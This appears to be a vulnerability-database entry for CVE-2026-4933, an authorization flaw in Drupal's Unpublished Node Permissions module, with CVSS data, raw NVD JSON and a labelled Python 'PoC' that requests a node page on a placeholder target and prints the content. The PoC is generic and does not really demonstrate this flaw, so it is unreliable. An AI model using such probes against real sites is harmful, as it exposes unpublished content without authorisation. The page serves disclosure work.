Security Vulnerability Report
中文
CVE-2026-4933 CVSS 7.5 HIGH

CVE-2026-4933

Published: 2026-03-26 21:17:10
Last Modified: 2026-04-01 16:18:34

Description

Incorrect Authorization vulnerability in Drupal Unpublished Node Permissions allows Forceful Browsing.This issue affects Unpublished Node Permissions: from 0.0.0 before 1.7.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:jeroenb:unpublished_node_permissions:*:*:*:*:*:drupal:*:* - VULNERABLE
Unpublished Node Permissions < 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-site.com/node/1" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Access Granted: Unpublished content might be exposed.") print(response.text[:200]) else: print(f"[-] Access Denied or Not Found: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4933", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:10.360", "lastModified": "2026-04-01T16:18:33.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in Drupal Unpublished Node Permissions allows Forceful Browsing.This issue affects Unpublished Node Permissions: from 0.0.0 before 1.7.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización incorrecta en los permisos de nodos no publicados de Drupal permite la navegación forzada. Este problema afecta a los permisos de nodos no publicados: desde la versión 0.0.0 anterior a la 1.7.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jeroenb:unpublished_node_permissions:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.7", "matchCriteriaId": "7C095AB8-56DE-46FC-90D2-94CA3D13E975"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-029", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}